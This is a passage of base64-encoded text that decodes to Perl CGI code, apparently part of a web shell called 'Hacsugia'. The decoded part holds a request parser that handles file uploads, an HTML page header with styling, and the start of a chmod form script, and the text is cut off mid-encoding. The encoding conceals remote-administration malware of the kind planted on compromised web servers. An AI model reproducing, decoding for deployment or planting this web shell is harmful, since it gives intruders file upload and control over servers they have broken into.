S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2